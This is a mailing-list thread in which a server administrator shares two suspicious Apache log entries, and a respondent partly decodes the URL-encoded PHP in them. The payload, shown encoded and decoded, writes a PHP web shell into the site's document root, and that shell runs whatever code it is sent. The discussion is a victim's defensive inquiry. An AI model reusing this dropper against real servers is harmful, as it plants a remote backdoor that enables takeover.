I didn't decode it all. I'll leave the rest up to you, but the %characters are hexadecimal characters. Look up hex charset.
So the first line translates to (I may have missed a char or two...)
GET/?1=@ini_set("display_errors", 0);set_time_limit("0");@set_magic_quotes_runtime();echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';
----- Original Message -----
From: bernd.lentes@xxxxxxxxxxxxxxxxxxxxx
To: users@xxxxxxxxxxxxxxxx
Sent: Monday, February 6, 2017 11:15:04 AM GMT -05:00 US/Canada Eastern
Subject: am i hacked ?
Hi,
just in the moment i found two very weird entries in may access_log:
91.200.12.33 - - [06/Feb/2017:16:43:26 +0100] 236 "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUME
NT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 200 90
91.200.12.33 - - [06/Feb/2017:16:44:33 +0100] 253 "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUME
NT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 200 90
What upsets me is that these two requests have statuscode 200, which mean it was successfull.
The IP is from ukraine. Where can i find out what these %charcacters mean ? Does anyone understand what happened here ? It's apache 2.2.3 64bit.
Thanks for any hint.
Bernd
--
Bernd Lentes
Systemadministration
institute of developmental genetics
Gebäude 35.34 - Raum 208
HelmholtzZentrum München
bernd.lentes@xxxxxxxxxxxxxxxxxxxxx
phone: +49 (0)89 3187 1241
fax: +49 (0)89 3187 2294
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Helmholtz Zentrum Muenchen
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